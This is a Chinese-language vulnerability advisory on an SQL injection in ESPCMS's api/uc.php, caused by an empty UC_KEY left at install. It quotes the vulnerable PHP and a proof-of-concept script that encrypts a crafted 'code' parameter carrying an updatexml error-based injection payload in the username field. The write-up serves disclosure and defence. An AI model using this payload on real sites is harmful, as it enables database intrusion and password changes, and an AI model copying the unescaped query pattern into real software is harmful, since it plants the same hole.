酷应用

ESPCMS UC未初始化导致SQL注入

技术作者：HackerEye 2018-08-24 09:12:06

发布时间：2016-08-10
公开时间：N/A
漏洞类型：SQL注入
危害等级：高
漏洞编号：xianzhi-2016-08-37732301
测试版本：N/A

漏洞详情

安装时未初始化uc导致注入 api/uc.php

$code = @$_GET['code'];
parse_str(_authcode($code, 'DECODE', UC_KEY), $get);
if (MAGIC_QUOTES_GPC) {
    $get = _stripslashes($get);
}
$timestamp = time();
…………
$action = $get['action'];
…………
if (in_array($get['action'], array('test', 'deleteuser', 'renameuser', 'gettag', 'synlogin', 'synlogout', 'updatepw', 'updatebadwords', 'updatehosts', 'updateapps', 'updateclient', 'updatecredit', 'getcreditsettings', 'updatecreditsettings'))) {
    include_once DISCUZ_ROOT2 . 'datacache/public.php';
    require_once DISCUZ_ROOT . './class_dbMysql.php';
    $GLOBALS['db'] = new dbmysql();
    $GLOBALS['db']->connect(db_host, db_user, db_pw, db_name, db_charset, 1);
    $GLOBALS['tablepre'] = db_prefix;
    $uc_note = new uc_note();
    $turecode = $uc_note->$get'action';
    exit($uc_note->$get'action');
…………
function updatepw($get, $post) {
    if (!API_UPDATEPW) {
        return API_RETURN_FORBIDDEN;
    }
    $username = $get['username'];
    $password = $get['password'];
    $newpw = md5($password);
    $this->db->query("UPDATE " . $this->tablepre . "member SET password='$newpw' WHERE username='$username'"); //更改密码
    return API_RETURN_SUCCEED;
}

流程是 $code->$get->$username; UC_KEY的定义在 public/uc_config.php define('UC_KEY', \$CONFIG['mem_uckey']); $CONFIG['mem_uckey']在datacache/command.php 'mem_uckey'=>'', 所以UC_KEY的值就是'' 所以就能自己构造任意的值来被_authcode解密最终进入sql执行 poc如下

<?php
$timestamp = time()+10*3600;
$str = "time=$timestamp&action=updatepw&password=123&username=1' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)#";
echo urlencode(_authcode($str,'ENCODE'));
function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
…………省略…………
}